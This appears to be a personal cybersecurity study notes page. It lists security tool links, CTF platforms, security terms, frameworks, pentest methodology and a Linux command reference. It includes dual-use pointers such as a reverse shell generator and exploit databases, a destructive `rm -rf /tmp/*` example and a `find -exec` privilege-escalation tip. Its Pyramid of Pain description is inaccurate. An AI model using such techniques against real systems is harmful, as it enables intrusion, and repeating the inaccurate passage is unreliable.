Tutorials](https://www.tutorialspoint.com/kali_linux/index.htm) - Kali Linux Tutorials [Keybase](https://keybase.io/) - it's open source and powered by public-key cryptography. [LFI](https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/) - learn about local file inclusion [Linux Commands](https://www.mediacollege.com/linux/command/linux-command.html) - a list of linux commands [malc0de](http://malc0de.com/database) - malware search engine. [Malware Bazaar](https://bazaar.abuse.ch) - malware search engine. [MD5 Online](https://www.md5online.org/md5-decrypt.html) - md5Online offers several tools related to the MD5 cryptographic algorithm. [Morse Code Translator](https://morsecode.world/international/translator.html) a morse code translator [Morse Code Adaptive Audio Decoder](https://morsecode.world/international/decoder/audio-decoder-adaptive.html) - a morse code adaptive audio decoder [Morse Code Audio Decoder](https://morsecode.world/international/decoder/audio-decoder-expert.html) - a morse code audio decoder [Morse Code Sound & Vibration Listener](https://databorder.com/transfer/morse-sound-receiver/) - a morse code sound & vibration listener [Namechk](https://namechk.com) - check if your desired username is available on over 500 social networks (username OSINT). [NerdyData](https://www.nerdydata.com) - the search engine for source code [Observatory by Mozilla](https://observatory.mozilla.org)- set of tools to analyze your website. [Office Recovery](https://online.officerecovery.com/pixrecovery/) - repair corrupt JPEG, PNG, GIF, BMP, TIFF, and RAW images. [PDF24](https://tools.pdf24.org/) - free and easy to use online PDF tools [Phishtool](https://www.phishtool.com) - PhishTool is a free phishing simulation tool. [NPiet](https://www.bertnase.de/npiet/npiet-execute.php) - Piet is an esoteric programming language based of using colored pixels to represent commands. [Ping.eu](https://ping.eu/) - online Ping, Traceroute, DNS lookup, WHOIS and others. [pipl](https://pipl.com/) - is the place to find the person behind the email address, social username or phone number. [Pixrecovery](https://online.officerecovery.com/pixrecovery/) - repair corrupt JPEG, PNG, GIF, BMP, TIFF, and RAW images. [Rapid7](https://www.rapid7.com/db/) - vulnerability and exploit database. [Regex101](https://regex101.com) - online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript. [RegEx Pal](https://www.regexpal.com/) - online regex testing tool + other tools. [RegExr](https://regexr.com/) - online tool to learn, build, & test Regular Expressions (RegEx / RegExp). [Revshell](https://www.revshells.com) - reverse shell generator. [RequestBin](https://requestbin.com) - RequestBin gives you a URL that collects requests so you can inspect them in a human-friendly way [RGBA Color Picker](https://rgbacolorpicker.com) - an RGBA color picker [ShellCheck](https://www.shellcheck.net) - finds bugs in your shell scripts. [Shodan](https://www.shodan.io) - learn various pieces of information about the client’s network, without actively connecting to it. [sploitus](https://sploitus.com) - the exploit and tools database. [SSL Scanner](http://www.ssltools.com) - analyze website security. [Steganographic Decoder](https://futureboy.us/stegano/decinput.html) - decodes the payload that was hidden in a JPEG image or a WAV or AU audio file [Subnet Calculator](https://www.calculator.net/ip-subnet-calculator.html) - IPv4 to IPv6 subnet calculator [Subnet Cheatsheet](https://www.freecodecamp.org/news/subnet-cheat-sheet-24-subnet-mask-30-26-27-29-and-other-ip-address-cidr-network-references/) - subnet cheatsheet [SSL Blacklist](https://sslbl.abuse.ch) - a free SSL blacklist that can be used to detect malicious SSL certificates. [Tabulate](https://pypi.org/project/tabulate/) - create clean looking tables [Talos Intelligence](https://talosintelligence.com) - threat intelligence from Cisco. [Threat Fox](https://threatfox.abuse.ch) - a resource for sharing indicators of compromise (IOCs). [TIO](https://tio.run/#) - TIO is a free online interpreter, compiler and REPL. [URL Haus](https://urlhaus.abuse.ch) - a project by abuse.ch to collect and classify malicious URLs. [urlscan.io](https://urlscan.io) - service to scan and analyse websites. [urlvoid ](https://www.urlvoid.com) - this service helps you detect potentially malicious websites. [User-Agent Switcher](https://addons.mozilla.org/en-US/firefox/addon/user-agent-string-switcher/) switch and manage user agents [Vega](https://subgraph.com/vega/) - web security scanner and web security testing platform [ViewDNS](http://viewdns.info) - one source for free DNS related tools and information. [VirusTotal](https://www.virustotal.com/gui/home/upload) - analyze suspicious files and URLs to detect types of malware. [Visual Subnet Calculator](https://www.davidc.net/sites/default/subnets/subnets.html) - a visual subnet calculator [WebToolHub-LE](https://www.webtoolhub.com/tn561364-link-extractor.aspx) - HTML hyperlink extractor [WebToolHub](https://www.webtoolhub.com) - lots of different web tools [WhatsMyName](https://whatsmyname.app) - social media username enumeration [WHOIS lookup](https://whois.domaintools.com) - best whois lookup [Wigle](https://wigle.net) - is a website for collecting information about the different wireless hotspots around the world [WPScan](https://wpscan.com/) - WordPress security scanner # CTF Sites [TryHackMe](https://tryhackme.com) - TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs. [HackTheBox](https://www.hackthebox.com/) - HackTheBox is a massive, online cybersecurity practical training platform. [CTFLearn](https://ctflearn.com) - An online platform built to help ethical hackers learn, practice, and compete. [Challenges](https://challenges.re) - Reverse engineering CTF training platform [Root Me](https://www.root-me.org) - Root Me is a platform for everyone to test and improve knowledge in computer security and hacking. [ROP Emperium](https://ropemporium.com) - ROP Emporium is a series of challenges based around Return Oriented Programming (ROP). [pico CTF](https://picoctf.org/) - picoCTF is a free computer security game targeted at middle and high school students. # Books - Penetration Testing - Linux Basics for Hackers - The Linux Command Line and Shell Scripting Bible - Black Hat Python - The Hacker PlayBook 2 - The Hacker PlayBook 3 - Hacker Methodology Handbook - Gray Hat Hacking - Red Team Field Manual - Metasploit - The Web Application Hacker’s Handbook - Real-World Bug Hunting - Attacking Network Protocols # Services ## Network security An Intrusion Detection System (IDS) is a system that detects network or system intrusions. An Intrusion Detection and Prevention System (IDPS) or simply Intrusion Prevention System (IPS) is a system that can detect and prevent intrusions. IDS setups can be divided based on their location in the network into: * Host-based IDS (HIDS) * Network-based IDS (NIDS) The host-based IDS (HIDS) is installed on an OS along with the other running applications. This setup will give the HIDS the ability to monitor the traffic going in and out of the host; moreover, it can monitor the processes running on the host. The network-based IDS (NIDS) is a dedicated appliance or server to monitor the network traffic. The NIDS should be connected so that it can monitor all the network traffic of the network or VLANs we want to protect. This can be achieved by connecting the NIDS to a monitor port on the switch. The NIDS will process the network traffic to detect malicious traffic. ## VPS Providers A Virtual Private Server (VPS) is an isolated environment created on a physical server using virtualization technology. Some of these providers are: * [Vultr](https://www.vultr.com/products/cloud-compute/) * [Linode](https://www.linode.com/pricing/) * [DigitalOcean](https://www.digitalocean.com/pricing) * [OneHostCloud](https://onehostcloud.hosting) # Terms **Active reconnaissance** - Directly interacting with the system. **Asymmetric** encryption - Uses different keys to encrypt and decrypt. **Authentication** - refers to the ability to prove that the user is whom they claims to be. **Broken Access Control** - Ex. we cannot let anyone view the webmail before logging in or modify someone else's account. **Brute force** - Attacking cryptography by trying every different password or every different key **Cipher** - A method of encrypting or decrypting data. Modern ciphers are cryptographic, but there are many non cryptographic ciphers like Caesar. **Ciphertext** - The result of encrypting a plaintext, encrypted data **Credential Stuffing** - Credential stuffing is a type of attack where an attacker attempts to gain unauthorized access to an account by using compromised credentials. **Cryptanalysis** - Attacking cryptography by finding a weakness in the underlying maths **Defacing** - The act of modifying a website to display a message or image. **Defensive security** - is the process of protecting an organization's network and computer systems by analyzing and securing any potential digital threats. **Dynamic SSH Tunneling** - Dynamic port forwarding turns your SSH client into a SOCKS proxy server. **Encoding** - NOT a form of encryption, just a form of data representation like base64. Immediately reversible. **Encryption** - Transforming data into ciphertext, using a cipher. **Firewall appliance** - The firewall allows and blocks connections based on a predefined set of rules. It restricts what can enter and what can leave a network. **Hash collision** - When 2 different inputs give the same output **IDOR** - IDOR stands for Insecure Direct Object Reference and is a type of access control vulnerability. **IP Spoofing** - IP spoofing is the creation of Internet Protocol (IP) packets which have a modified source address in order to either hide the identity of the sender, to impersonate another computer system, or both. **IPP** - Internet Printing Protocol **IaaS** - Infrastructure-as-a-Service **Identification and Authentication Failure** - Allowing the attacker to use brute force, or storing the users’ passwords in plain text. **Identification** - refers to the ability to identify a user uniquely. **Intrusion Detection System (IDS) appliance** - An IDS detects system and network intrusions and intrusion attempts. It tries to detect attackers’ attempts to break into your network. **Intrusion Prevention System (IPS) appliance** - An IPS blocks detected intrusions and intrusion attempts. It aims to prevent attackers from breaking into your network. **Key** - Some information that is needed to correctly decrypt the ciphertext and obtain the plaintext. **Offensive security** - is the process of breaking into computer systems, exploiting software bugs, and finding loopholes in applications to gain unauthorized access to them. **Packet sniffing** - Packet sniffing is the act of capturing packets of data flowing across a computer network. **Passive reconnaissance** - We rely on publicly available information. **Passphrase** - Separate to the key, a passphrase is similar to a password and used to protect a key. **Password Spraying** - Password spraying is a brute force attack that uses a list of usernames and a single password to try to gain access to a system. **Penetration Tester** - Responsible for testing technology products for finding exploitable security vulnerabilities. **Plaintext** - Data before encryption, often text but not always. Could be a photograph or other file **Proxy** - A proxy server is kind of gateway betweenour application and the internet **Port Forwarding** - Port forwarding is a technique that is used to allow external devices access to computers services on private networks. **RCE** - Remote Code Execution vulnerability allows commands to be executed on the target's system. **Rainbow tables** - A rainbow table is a lookup table of hashes to plaintexts **Red Teamer** - Plays the role of an adversary, attacking an organization and providing feedback from an enemy's perspective. **Reverse SSH Connection** - The remote system connects with your local system **SAM** - Security Account Manager is a database that is present on computers running Windows that stores user accounts and security descriptors for users on the local computer **SSH Tunnelling** - SSH tunneling is a method of transporting arbitrary networking data over an encrypted SSH connection. **SSL/TLS** - Both are cryptographic protocols that securely authenticate and transport data on the Internet. SSL is old, TLS is the new one. **Security Engineer** - Design, monitor, and maintain security controls, networks, and systems to help prevent cyberattacks. **Symmetric encryption** - Uses the same key to encrypt and decrypt **VPS** - Virtual Private Server (is a IaaS) **Virtual Private Network (VPN) concentrator appliance** - A VPN ensures that the network traffic cannot be read nor altered by a third party. It protects the confidentiality (secrecy) and integrity of the sent data. **XSS** - Cross-Site Scripting is a security vulnerability that's typically found in web applications which can be used to execute a malicious script on the target's machine ## Forms of Malware/Attacks **Virus**: Malware that infects a computer by inserting itself into programs and can cause damage or corruption to data and programs. Needs user interaction to spread. **Worm**: Malware that replicates itself to spread to other computers. Does not need user interaction to spread. It can spread through networks, email, or other means. **Trojan horse**: Malware disguised as a legitimate program that performs harmful activities once inside a computer system. **Spyware**: Malware that collects information about a user's activities and reports it back to the attacker, often used for unethical purposes. **Phishing**: A technique used to obtain information by posing as a legitimate organization or individual and requesting sensitive information. **DoS attack**: Overloading a computer with messages to disrupt its services. **DDoS attack and botnets**: A distributed denial-of-service attack that utilizes a network of compromised computers to overload a target with messages. **Spam**: Unwanted junk email that overwhelms the recipient and can be used to spread malware or phishing attempts. **Ransomware**: Malware that encrypts a user's data and demands a ransom to decrypt it. **Rootkit**: Malware that gives an attacker root access to a computer and hides its presence from the user. **Adware**: Malware that displays unwanted advertisements on a user's computer. # Principles and Standards ## CIA Triad Consisting of three sections: Confidentiality, Integrity and Availability (CIA), this model has quickly become an industry standard today. This model should help determine the value of data that it applies to, and in turn, the attention it needs from the business. **Confidentiality**: This element is the protection of data from unauthorized access and misuse Integrity **Integrity**: This element is the condition where information is kept accurate and consistent unless authorized changes are made. **Availability**: In order for data to be useful, it must be available and accessible by the user. ## Principles of privileges It is vital to administrate and correctly define the various levels of access to an information technology system individuals require. The levels of access given to individuals are determined on two primary factors: 1. The individual's role/function within the organisation 2. The sensitivity of the information being stored on the system Two key concepts are used to assign and manage the access rights of individuals, two key concepts are used: Privileged Identity Management (PIM) and Privileged Access Management (or PAM for short). **PIM** is used to translate a user's role within an organisation into an access role on a system. Whereas **PAM** is the management of the privileges a system's access role has, amongst other things. What is essential when discussing privilege and access controls is the principle of least privilege. Simply, users should be given the minimum amount of privileges, and only those that are absolutely necessary for them to perform their duties. Other people should be able to trust what people write to. ## Security models ### The Bell-La Padula Model The Bell-La Padula Model is used to achieve confidentiality. This model has a few assumptions, such as an organisation's hierarchical structure it is used in, where everyone's responsibilities/roles are well-defined. The model works by granting access to pieces of data (called objects) on a strictly need to know basis. This model uses the rule "no write down, no read up". The Bell LaPadula Model is popular within organisations such as governmental and military. ### Biba Model The Biba model is arguably the equivalent of the Bell-La Padula model but for the integrity of the CIA triad. This model applies the rule to objects (data) and subjects (users) that can be summarised as "no write up, no read down". This rule means that subjects can create or write content to objects at or below their level but can only read the contents of objects above the subject's level. ## Threat modeling and incident response Threat modelling is the process of reviewing, improving, and testing the security protocols in place in an organisation's information technology infrastructure and services. The threat modelling process is very similar to a risk assessment made in workplaces for employees and customers. The principles all return to: * Preparation * Identification * Mitigations * Review It is, however, a complex process that needs constant review and discussion with a dedicated team. An effective threat model includes: * Threat intelligence * Asset identification * Mitigation capabilities * Risk assessment To help with this, there are frameworks such as **STRIDE** (Spoofing identity, Tampering with data, Repudiation threats, Information disclosure, Denial of Service and Elevation of privileges) and **PASTA** (Process for Attack Simulation and Threat Analysis) ### Threat intelligence Classifications Threat Intel is geared towards understanding the relationship between your operational environment and your adversary. With this in mind, we can break down threat intel into the following classifications: - **Strategic Intel:** High-level intel that looks into the organisation's threat landscape and maps out the risk areas based on trends, patterns and emerging threats that may impact business decisions. - **Technical Intel:** Looks into evidence and artefacts of attack used by an adversary. Incident Response teams can use this intel to create a baseline attack surface to analyse and develop defence mechanisms. - **Tactical Intel:** Assesses adversaries' tactics, techniques, and procedures (TTPs). This intel can strengthen security controls and address vulnerabilities through real-time investigations. - **Operational Intel:** Looks into an adversary's specific motives and intent to perform an attack. Security teams may use this intel to understand the critical assets available in the organisation (people, processes, and technologies) that may be targeted. #### Threat intelligence Tools - Using UrlScan.io to scan for malicious URLs. - Using Abuse.ch to track malware and botnet indicators. - Investigate phishing emails using PhishTool - Using Cisco's Talos Intelligence platform for intel gathering. ## The pyramid of pain The Pyramid of Pain is a cybersecurity concept that refers to a hierarchy of assets within an organization that, if compromised, would cause the most significant harm. The pyramid's height represents the level of harm caused by a security breach, with the most critical assets at the top and less critical assets at the bottom. The idea is that organizations should focus their cybersecurity efforts on the assets at the top of the pyramid to prevent the most significant damage from a security breach. The components of the Pyramid of Pain may vary depending on the organization and its specific needs, but typically include sensitive data, critical infrastructure, key personnel, and reputation. <img style="display:block; margin:0 auto;" src="./Images/Pyramid-of-pain.png" alt="Pyramid of pain" width="480"/> ## Ethics ### Penetration tests Before a penetration test starts, a formal discussion occurs between the penetration tester and the system owner. Various tools, techniques, and systems to be tested are agreed on. This discussion forms the scope of the penetration testing agreement and will determine the course the penetration test takes. ### Rules of Engagement (ROE) The ROE is a document that is created at the initial stages of a penetration testing engagement. This document consists of three main sections: * Permission * Test scope * Rules ### Hat categories Hackers are sorted into three hats, where their ethics and motivations behind their actions determine what hat category they are placed into. | Hat | Description | |---|---| | Black hat | These people are criminals and often seek to damage organisations or gain some form of financial benefit at the cost of others. | | Grey hat | These people use their skills to benefit others often; however, they do not respect/follow the law or ethical standards at all times. | | White hat | These hackers are considered the "good people". They remain within the law and use their skills to benefit others. | ## Methodologies The steps a penetration tester takes during an engagement is known as the methodology. A practical methodology is a smart one, where the steps taken are relevant to the situation at hand. All of them have a general theme of the following stages: | Stage | Description | |---|---| | Information Gathering | This stage involves collecting as much publically accessible information about a target/organisation as possible, for example, OSINT and research. Note: This does not involve scanning any systems. | | Enumeration/Scanning | This stage involves discovering applications and services running on the systems. For example, finding a web server that may be potentially vulnerable. | | Exploitation | This stage involves leveraging vulnerabilities discovered on a system or application. This stage can involve the use of public exploits or exploiting application logic. | | Privilege Escalation | Once you have successfully exploited a system or application (known as a foothold), this stage is the attempt to expand your access to a system. You can escalate horizontally and vertically, where horizontally is accessing another account of the same permission group (i.e. another user), whereas vertically is that of another permission group (i.e. an administrator). | | Post-exploitation | This stage involves a few sub-stages: 1. What other hosts can be targeted (pivoting) 2. What additional information can we gather from the host now that we are a privileged user 3. Covering your tracks 4. Reporting | ### OSSTMM The Open Source Security Testing Methodology Manual provides a detailed framework of testing strategies for systems, software, applications, communications and the human aspect of cybersecurity. ### OWASP The "Open Web Application Security Project" framework is a community-driven and frequently updated framework used solely to test the security of web applications and services. ### NIST Cybersecurity Framework 1.1 The NIST Cybersecurity Framework is a popular framework used to improve an organisations cybersecurity standards and manage the risk of cyber threats. ### NCSC CAF The Cyber Assessment Framework (CAF) is an extensive framework of fourteen principles used to assess the risk of various cyber threats and an organisation's defences against these ## Black, grey & white box There are three primary scopes when testing an application or service. | Box | Description | |---|---| | Black | This testing process is a high-level process where the tester is not given any information about the inner workings of the application or service. | | Grey | The tester will have some limited knowledge of the internal components of the application or piece of software. | | White | The tester will have full knowledge of the application and its expected behaviour. | ## Career paths | Career | Description | |---|---| | Security Analyst | Responsible for maintaining the security of an organisation's data | | Security Engineer | Design, monitor and maintain security controls, networks, and systems to help prevent cyberattacks | | Incident Responder | Identifies and mitigates attacks whilst an attackers operations are still unfolding | | Digital Forensics Examiner | Responsible for using digital forensics to investigate incidents and crimes | | Malware Analyst | Analyses all types of malware to learn more about how they work and what they do | | Penetration Tester | Responsible for testing technology products for security loopholes | | Red Teamer | Plays the role of an adversary, attacking an organisation and providing feedback from an enemies perspective | ## ISO27001 ISO (the International Organization for Standardization) is a worldwide federation of national standards bodies (ISO member bodies), where ISO27001 is an international standard on how to manage information security. An ISMS(Information Security Management System) may be certified compliant with ISO/IEC 27001 by a number of Accredited Registrars worldwide. An ISMS (Information Security Management System) consists of the policies, procedures, guidelines, and associated resources and activities, collectively managed by an organization, in the pursuit of protecting its information assets. An ISMS is a systematic approach for establishing, implementing, operating, monitoring, reviewing, maintaining and improving an organization’s information security to achieve business objectives. It is based on a risk assessment and the organization’s risk acceptance levels designed to effectively treat and manage risks. # Linux Commands ## cat cat is a Linux shell command that concatenates files and prints on the standard output. It is often used to view the content of a file. Example: `cat -n example.txt` `-n` number all output lines ## ls ls is a Linux shell command that lists directory contents of files and directories. `-i` list file's inode index number `-a` list all files including hidden file starting with '.' `-l` list with long format - show permissions `-d` list directories - with ' */' `-s` list file size `-S` sort by file size `-t` sort by time & date `-X` sort by extension name ## mkdir Created directories **Syntax** `mkdir <name>` The command mkdir has an option marked -p to add parent directories. `mkdir -p Folder/i/am/in` ## touch Creates a file Example: `touch file.txt` ## tree We can look at the whole structure after creating the parent directories with the tool tree. Syntax: `tree .` ## ps Shows the processes for the current shell **PID** – the unique process ID **TTY** – terminal type that the user is logged into **TIME** – amount of CPU in minutes and seconds that the process has been running **CMD** – name of the command that launched the process. `-a` flag stands for all processes `-x` will display all processes even those not associated with the current tty `-t` Processes associated with the terminal run ## rm Deletes files Example: `rm -rf /tmp/*` `-r` Deletes every file in the directory `-f` Suppresses all warning prompts ## mv Moves/renames files Example (relocate): `mv file.txt /tmp` Example (rename): `mv file.txt file2.txt` ## top top command is used to show the Linux processes. It provides a dynamic real-time view of the running system ## lsof lsof stands for list open files. It is a command-line utility that lists all the open files and the processes that opened them. **Syntax** `lsof <options> <file>` **Examples** Only show openvpn processes `lsof -i | grep openvpn` ## kill Used to kill a process The most commonly used signals are: 1 (HUP) - Reload a process. 9 (KILL) - Kill a process. 15 (TERM) - Gracefully stop a process. `kill -9 PID_ID` ## find The find command is used to search and locate the list of files and directories **Syntax** `find <location> <options>` **Examples** Find all config files that are bigger than 25kilobytes and are newer than 2020-03-03, and then execure the ls -la command without printing the error in the terminal `find / -type f -name *.conf -size +25k -newermt 2020-03-03 -exec ls -al {} \; 2>/dev/null` Search for files from root `find / -type f -name passwords.txt` Find any file with the extension of ".txt" `find -name *.txt` Check the permissions for what the ‘users’ group can do `find / -group users -type f 2>/dev/null` **Location specific options** No specification = this folder / = root folder . = this folder and its subdirectories **Other options** `-name` = specify file specific name/descriptions to be found `-iname` = Like -name, but the match is case insensitive. `-print` = It prints the pathname of the current file to standard output. `-regex` = True if the whole path of the file matches pattern using expression `-type` = With -type, you can use d to only find directories, and f to only find files. `-user` = specify owner `-size` = specify size `-perm` = specify permissions **Time specific** min and time. a(acessed), m(modified), c To put it all together: in order to specify that a file was last accessed more than 30 minutes ago, the option `-amin +30` is used. To specify that it was modified less than 7 days ago, the option `-mtime -7` is used. When you want to specify that a file was modified within the last 24 hours, the option `-mtime 0` is used. **Note** 1. Suppress the output of any possible errors to make the output more readable. This is done by appending `2> /dev/null` to your command. This way, you won’t see any results you’re not allowed to access. 2. The second thing is the `-exec` flag. You can use it in your find command to execute a new command, following the -exec flag, like so: `-exec whoami \;`. (can be used for privilege escalation)' ## where This tool returns the path to the file or link that should be executed. Syntax `where python3` ## apropos This tool is used to search for a command by its description. Syntax `apropos <something>` Example `apropos hexeditor` ## stat Displays detailed information about given files or file systems. These informations can be: file name, file size, blocks, type, inode, UID, GID, access, modify, change and creation times. Example usage: `stat file.txt` ## du du is a command that can be used to estimate file space usage. It is a part of the GNU coreutils suite. **Example usage:** `du -shL BreachCompilation` **Options:** `-h` - to get a human-readable output `-s` - to get the total size of the directory `-L` - dereference all symbolic links ## ncdu ncdu is a disk usage analyzer with an ncurses interface. It is a part of the ncdu suite. **Example usage:** `ncdu -x --si BreachCompilation` **Options:** `-x` - This option prevents ncdu from following symbolic links. `--si` - This option tells ncdu to use SI units (powers of 10) to display the file sizes, which makes them easier to read than the default binary units (powers of 2). ## diff diff is a command-line utility that allows you to compare two files line by line Example usage: `diff a.txt b.txt` ## tail/head The tail/head command, as the name implies, print the last/first N number of data of the given input Options: `-n <number>` number of lines to show `-c <numbers>` number of bytes `sort` to sort ## history `history` command in Linux is a built-in shell tool that displays a list of commands used in the terminal session ## pwd Find the full Path to our current working directory ## chmod Chmod allows you to set the different permissions for a file Example: `chmod 777 file.txt` **Permissions** | Digit | Meaning | |----------|:-------------:| | 1 | That file can be executed | | 2 | That file can be written to | | 3 | That file can be executed and written to | | 4 | That file can be read | | 5 | That file can be read and executed | | 6 | That file can be written to and read | | 7 | That file can be read, written to, and executed | To make a binary file just executable for the owner of the file, you can use: `chmod u+x file.txt` ## chown Change the user and group for any file `chown user:group file` change user/group **Example (change the owner):** `chown berkan file.txt` `-R` to operate on every file in the directory at once ## curl The curl command transfers data to or from a network server, using one of the supported protocols (HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP or FILE). **Syntax:** `curl <URL>` simply fetches the URL and prints it to the terminal. `curl -s <URL>"` to suppress the output (statistics) `curl -H "DNT: 1" <URL>` to change the DNT(do not track) header `curl -o page.html <URL>` to save the output to a file `curl -A "something" <URL>` to change the user agent `curl --referer <URL_REF> <URL>` to change the referer `curl -H "X-Forwarded-For: <IP>" <URL>` to change the X-Forwarded-For header `curl -H "Accept-Language: da-DK" <URL>` to change the Accept-Language header (ex. Danish) `curl -H "Date: Mon, 23 11 2018 23:23:23 GMT" <URL>` to change the date **Example:** Real use case example `curl -s -A "PicoBrowser" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" -H "Accept-Language: sv-SE" --referer http://mercury.picoctf.net:36622 http://mercury.picoctf.net:36622/ | grep -oI "picoCTF{.*}"` ## wget The wget command downloads files from HTTP, HTTPS, or FTP connection a network. Get ftp files recursively `wget -r ftp://ftpuser:<USER>@<IP>` Adding a `-b` switch will allow us to run wget in the background and return the terminal to its initial state. ## wash Wash is a tool that can be used to crack WPA/WPA2 handshakes. It is a part of the aircrack-ng suite. Example usage: `wash -i wlan0mon` - to scan for WPA/WPA2 networks ## netdiscover Netdiscover is a tool that can be used to scan for live hosts on a network. It is a part of the aircrack-ng suite. Example usage: `netdiscover -i wlan0mon` - to scan for live hosts on a network or `netdiscover -r <ip>/24` ## whatweb Whatweb is a handy tool and contains much functionality to automate web application enumeration across a network. We can extract the version of web servers, supporting frameworks, and applications using the command-line tool. Example usage: `whatweb --no-errors 10.10.10.0/24` **Options:** `-a=LEVEL` Aggresion level `-U=AGENT` User agent `--header` HTTP header `--max-redirects=NUM` Maximum number of redirects `-u=<user:password>` Basic authentication `-c=COOKIES` Use cookies `--cookie-jar=FILE` Read cookies from a file `-g=STRING|REGEXP` Search for a string `--no-errors` Suppress error messages `-p=LIST` List all plugins `-l` List all plugins `-v` Verbose mode `-q` Quiet output `-h` to show help (highly recommended) ## apt apt is a command-line utility for installing, updating, removing, and otherwise managing deb packages `sudo apt update` This will pull the latest changes from the APT repositories: `sudo apt upgrade` To upgrade the installed packages to their latest versions `sudo apt full-upgrade` The difference between **upgrade** and **full-upgrade** is that the later will remove the installed packages if that is needed to upgrade the whole system. `sudo apt install package_name` Install packages `sudo apt remove package_name` Remove packages `sudo apt autoremove` Remove unused packages `sudo apt list` List packages ## dig dig command stands for Domain Information Groper. It is used for retrieving information about DNS name servers `dig [server] [name] [type]` `dig google.com` Options: `-x` Specify IP adress `+noall +answer` Detailed information Save to a file: `dig -f domain_research.txt +short` ## tar tar is a command that allows creating, maintaining, modifying, and extracting files that are archived in the tar format (tar, gzip, zip). The most common example for tar extraction would be: `tar -xf archive.tar` ### Compressing files with tar `tar -czvf stuff.tar.gz` ### Uncompressing files with tar `tar -xvzf myfolder.tar.gz -C myfolder/` **Options:** `-c` tells tar to create an archive. `-z` tells tar to compress the archive with gzip. `-v` tells tar to be verbose. `-f` tells tar that the next argument will be the name of the archive to operate on. `-C` tells tar to change to the directory specified before performing any operations. `-x` tells tar to extract files from an archive. ## grep Search the contents of files for specific values `grep "hello world" file.txt` Search for an ip using regular expressions `grep -Eo '[0–9]{1,3}\.[0–9]{1,3}\.[0–9]{1,3}\.[0–9]{1,3}'` Search for binaries (ex. "/usr/bin/sudo") `grep '^/.../.../....$'` Grep for CTF flag 1/2 `grep -oi '\S*flag\S*' <path>` Grep for CTF flag 2/2 `grep "flag{.*}"` **Options** `-n` line numbers for every string found `-E` regular expressions ## wc Word count `wc -l file.txt` get numbers of entries **Options** `-l` count number of lines `-c` count number of bytes `-w` count number of words `-m` count number of characters ## cut Cut parts of lines from specified files or piped data and print the result to standard output. **Syntax** `cut OPTION FILE` **Example usage** `/etc/passwd | cut -d":" -f1` **Options** `-f` - Select by specifying a field, a set of fields, or a range of fields. This is the most commonly used option. `-c` - Select by specifying a character, a set of characters, or a range of characters. `-d` - Specify a delimiter that will be used instead of the default “TAB” delimiter. ## tr Another possibility to replace certain characters from a line with characters defined by us is the tool tr **Example usage** Change delimeter from ":" to " " (space). `tr ":" " "` Change from lowercase to uppercase `tr 'a-z' 'A-Z` ## column Since such results can often have an unclear representation, the tool column is well suited to display such results in tabular form using the "`-t`" **Example usage:** `column -t` ## awk Awk is a utility that enables a programmer to write tiny but effective programs in the form of statement **Example usage** `awk '{print $1, $2}` `$0`: Represents the entire line of text. `$1`: Represents the first field. `$2`: Represents the second field. `$7`: Represents the seventh field. `$45`: Represents the 45th field. `$NF`: Stands for “number of fields,” and represents the last field. ## sed sed looks for patterns we have defined in the form of regular expressions (regex) and replaces them with another pattern that we have also defined **Example usage** Replace the word "bin" with "BK." `sed 's/bin/BK/g'` The "s" flag at the beginning stands for the substitute command. Then we specify the pattern we want to replace. After the slash (/), we enter the pattern we want to use as a replacement in the third position. Finally, we use the "g" flag, which stands for replacing all matches. ## whoami Find out what user we're currently logged in as ## uname Prints basic information about the operating system name and system hardware `uname -a` will print all available information ## ftp FTP or File Transfer Protocol is a network communication protocol that enables two computers to communicate Standard use `ftp <IP>` Enter your username and password to log in to the server. Some FTP servers allow anonymous logins with a username of "`anonymous`" and an email address as the password. Commands: `ls` - list files `cd` - change directory `get` - download file `put` - upload file `quit` - exit See more commands [here](/More/FTP/Commands.md). ## ssh SSH or Secure Shell is a network communication protocol that enables two computers to communicate Standard use `ssh user@ip` and type the password Login with a key `ssh -i path_to_pem user@ip` Specify other ports than 22 `ssh user@ip -p <port>` ## scp SCP or Secure Copy Protocol is a network communication protocol that enables two computers to communicate and transfer files between them using the SSH protocol. Copy a file to a remote server `scp /path/to/file user@ip:/path/to/remote/file` Copy a file from a remote server to a local server `scp user@ip:/path/to/remote/file /path/to/file` Example (file to a remote server ): `scp example.txt [email protected]:/home/berkan/` ## searchsploit Searchsploit is a command line search tool for the offline version of Exploit-DB Usage: `searchsploit [options] term1 term2 term3 ...` Example: `searchsploit afd windows local` Options: `-c, --case [Term]` - Perform a case-sensitive search (Default is inSEnsITiVe) `-e, --exact [Term]` - Perform an EXACT search (e.g. "WordPress 4.1" would not detect "WordPress Core 4.1") `-s, --strict` - Perform a strict search, so input values must exist("1.1" would not be detected in "1.0 < 1.3") `-t, --title [Term]` - Search JUST the exploit title (Default is title AND the file's path `-p, --path [EDB-ID]` - Show the full path to an exploit `--exclude="term"` Remove values from results. By using "|" to separate, you can chain multiple values e.g. --exclude="term1|term2|term3” ## xfreerdp xfreerdp is an X11 Remote Desktop Protocol (RDP) client Usage: `xfreerdp [options] server[:port] [[options] server[:port] ...]` Options: `/u:<username>` - Username `/p:<password>` - Password `/v:<hostname>:<port>` - Server hostname `/cert:ignore` - Ignore certificate `/ipv6`, `/6` - Prefer IPv6 AAA record over IPv4 A record ## hexeditor Read and modify hex of a file (This tool is also helpful when it comes to CTFs and text is hidden inside a file or when the magic number of a file was altered.) Alternatives are: xxd, hexedit, GHex (GNOME GUI) & HxD (Windows). **Example usage** `hexeditor -n file.txt` **Options** `-a` Print all text characters. `-n` Force Gray scale, no colors. **Controls:** CTRL + F - Go to last line CTRL + C - Exit without saving CTRL + X - Exit and save CTRL + U - Undo CTRL + W - Search ## gzip gzip - a file format and a software application used for file compression and decompression. gzip-compressed files have .gz extension. `gzip filename.txt` compression Switches: `-d` decompression Example: `gzip -d file.gz` ## binwalk Binwalk allows users to analyze and extract firmware images and helps in identifying code, files, and other information embedded in those, or inside another file **Usage:** `binwalk [options] <file>` **Examples:** `binwalk -e firmware.bin` - Extract files `binwalk -Me firmware.bin` - Recursively scan extracted files (matryoshka) `binwalk -e firmware.bin` - Extract files `-e` - Extract files `-M` - Recursively scan extracted files (matryoshka) `-v` - Verbose output `-q` - Quiet output ## sudo Sudo is Linux's 'run as administrator' command **Options** `-u <user>` specify user `su` change to root `-l` list current sudo priviliges 